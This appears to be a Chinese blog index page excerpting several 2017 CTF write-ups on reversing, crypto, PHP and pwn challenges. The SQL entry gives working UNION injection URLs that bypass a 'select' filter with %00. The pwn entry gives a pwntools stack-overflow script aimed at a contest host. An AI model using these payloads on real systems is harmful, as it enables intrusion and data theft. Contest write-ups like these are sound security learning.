RE100 Re4newer

查壳发现有 UPX，脱掉之后 IDA 分析定位主函数进行逆向，sub_401080。

  *(_OWORD *)v4 = xmmword_41D740;
  *(_OWORD *)&v4[4] = xmmword_41D730;
  *(_OWORD *)&v4[8] = xmmword_41D7A0;
  *(_OWORD *)&v4[12] = xmmword_41D760;
  v5 = xmmword_41D7D0;
  v6 = xmmword_41D750;
  v7 = xmmword_41D790;
  v8 = xmmword_41D780;
  v9 = xmmword_41D7C0;
  v10 = xmmword_41D7B0;
  v11 = xmmword_41D770;
  if ( a1 == 44 )
  {
    i = 0;
    do
    {
      if ( (a2[i] ^ 0x22) != v4[i] )
        break;
      ++i;
    }
    while ( i < 44 );
    if ( i == 44 )
      printf_1("success!\n", a3);
    else
      printf_1("wrong~\n", a3);
  }

还是异或，抠出来异或一次好了。

0CTF 2017 writeup

March 30, 2017 • 1 Comment

simplesqlin

名字就能看出来是注入了，然而 select 被过滤，百般尝试后发现插入 %00 后可以绕过。

http://202.120.7.203/index.php?id=-1 union sele%00ct 1,database(),user()
http://202.120.7.203/index.php?id=-1 union sele%00ct 1,database(),group_concat(table_name) fr%00om information_schema.tables wher%00e table_schema=database()
http://202.120.7.203/index.php?id=-1 union sele%00ct 1,database(),group_concat(column_name) fr%00om information_schema.columns wher%00e table_schema=database() and table_name=0x666c6167
http://202.120.7.203/index.php?id=-1 union sele%00ct 1,database(),flag fr%00om flag

数据库是 news，表有 flag，news。

一道复合密码学题目

March 16, 2017 • Comment

题目地址

第一层：CRC32 碰撞

打开题目压缩包，有三个 6 字节的文件，猜测是要根据这三个文件的 CRC32 值碰撞获得内容。

利用脚本碰撞得到密码：_CRC32_i5_n0t_s4f3。

ZCTF 2017 writeup

March 5, 2017 • Comment

WEB

web100

扫目录得到 .index.php.swp。

<?php
$flag = $_GET['flag'];
if ($flag != '15562') {
    if (strstr($flag, 'zctf')) {
        if (substr(md5($flag),8,16) == substr(md5('15562'),8,16)) {
            die('ZCTF{#########}');
        }
    }##
}
die('ha?')
?>

湖湘杯 writeup

February 7, 2017 • 3 Comments

1 题目名 Pwnme

栈溢出，可以看到存在 get_flag() 函数，构造 payload 调用它即可。
input your choice 处填入 0xA4 个字节后可以溢出，然后更改指针到 get_flag() 处。

from pwn import *
p = remote('114.215.43.119', 10001)
p.sendline('5')
payload = 'A'*0xa4 + 'B'*0x04 +  p32(0x8048677)  
p.sendline(payload)
p.interactive()

pwnme1